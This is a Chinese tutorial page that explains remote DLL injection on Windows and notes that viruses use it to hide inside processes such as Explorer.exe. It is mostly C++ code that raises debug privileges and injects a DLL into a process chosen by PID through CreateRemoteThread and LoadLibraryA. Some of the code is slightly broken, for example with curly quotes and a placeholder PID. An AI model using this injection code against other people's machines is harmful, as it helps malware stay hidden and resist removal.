程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> C++入門知識 >> C++:dll遠程注入技術詳解

C++:dll遠程注入技術詳解

編輯:C++入門知識

DLL的遠程注入技術是目前Win32病毒廣泛使用的一種技術。使用這種技術的病毒體通常位於一個DLL中,在系統啟動的時候,一個EXE程序會將這個 DLL加載至某些系統進程(如Explorer.exe)中運行。這樣一來,普通的進程管理器就很難發現這種病毒了,而且即使發現了也很難清除,因為只要病毒寄生的進程不終止運行,那麼這個DLL就不會在內存中卸載,用戶也無法在資源管理器中刪除這個DLL文件。

好了廢話不說,下面代碼:

#include <windows.h>
#include <iostream.h>

bool EnableDebugPriv()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;

    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return false;
    }

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
        CloseHandle(hToken);
        return false;
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
        CloseHandle(hToken);
        return false;
    }

    return true;
}

BOOL InitDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
     EnableDebugPriv();

      HANDLE hRemoteProcess;
  �
    //打開遠程線程
    hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

        char *pszLibFileRemote;

    //使用VirtualAllocEx函數在遠程進程的內存地址空間分配DLL文件名空間
    pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1,
  MEM_COMMIT, PAGE_READWRITE);

    //使用WriteProcessMemory函數將DLL的路徑名寫入到遠程進程的內存空間
    WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *) DllFullPath,
     lstrlen(DllFullPath)+1, NULL);

     DWORD dwID;
     LPVOID pFunc = LoadLibraryA;
     HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0,
   (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
    

   if(hRemoteThread == NULL)
      {
      cout<<”注入線程失敗!”<<endl;
      return 0;
      }
    CloseHandle(hRemoteProcess);
    CloseHandle(hRemoteThread);

    return TRUE;
}

int main()
{
    InitDll(“C:\\hook.dll”, 數字) ;//這個dll你所要注入的dll文件,這個”數字”是你想注入的進程的PID號
    return 0;
}

 作者“ 李木空間 ”

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved